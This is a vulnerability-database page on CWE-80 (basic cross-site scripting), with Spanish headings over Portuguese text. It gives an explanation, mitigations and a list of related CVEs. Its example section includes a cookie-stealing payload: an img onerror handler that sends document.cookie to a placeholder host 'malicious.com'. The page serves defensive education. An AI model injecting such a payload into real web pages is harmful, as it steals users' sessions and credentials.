Fallos del tipo CWE-80

586 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2024-9438MEDIUMSEUR Oficial <= 2.2.11 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-32966MEDIUMStored Cross-site Scripting in directory listings via file names in static-web-serverEPSS 0.4%CVE-2026-54443MEDIUMDashy: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)EPSS 0.4%CVE-2025-1807MEDIUMEastnets PaymentSafe Edit Manual Reply directRouter.rfc cross site scriptingEPSS 0.4%CVE-2021-44197MEDIUMXSS in UBIT Information Technologies Student Information Management SystemEPSS 0.4%CVE-2023-43790MEDIUMiTop vulnerable to XSS in friendlyname in object detailsEPSS 0.4%CVE-2021-44196MEDIUMXSS in UBIT Information Technologies Student Information Management SystemEPSS 0.4%CVE-2023-49852MEDIUMWordPress Responsive Slick Slider WordPress plugin <= 1.4 - Content Injection vulnerabilityEPSS 0.4%CVE-2024-52967LOWAn improper neutralization of script-related html tags in a web page (basic xss) in Fortinet FortiPortal 6.0.0 through 6.0.14 allows attackeEPSS 0.4%CVE-2023-20257MEDIUMA vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to conductEPSS 0.4%CVE-2025-53835CRITICALXWiki Rendering is vulnerable to XSS attacks through insecure XHTML syntaxEPSS 0.4%CVE-2024-11404MEDIUMFile Upload Bypass in django FilerEPSS 0.4%CVE-2023-1013MEDIUMXSS in Vira-InvestingEPSS 0.4%CVE-2023-47513MEDIUMWordPress ARI Stream Quiz – WordPress Quizzes Builder plugin <= 1.3.2 - Content Injection vulnerabilityEPSS 0.4%CVE-2024-10038MEDIUMWP-Strava <= 2.12.1 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-45406MEDIUMCraft CMS stored XSS in breadcrumb list and title fieldsEPSS 0.4%CVE-2025-39524MEDIUMWordPress Html5 Audio Player plugin <= 2.2.28 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2023-51308MEDIUMPHPJabbers Car Park Booking System v3.0 is vulnerable to Multiple HTML Injection in the "name, plugin_sms_api_key, plugin_sms_country_code, EPSS 0.4%CVE-2023-32192HIGHRancher API Server Cross-site Scripting VulnerabilityEPSS 0.4%CVE-2024-12127MEDIUMLearning Management System, eLearning, Course Builder, WordPress LMS Plugin – Sikshya LMS <= 0.0.21 - Reflected Cross-Site Scripting via page ParameterEPSS 0.4%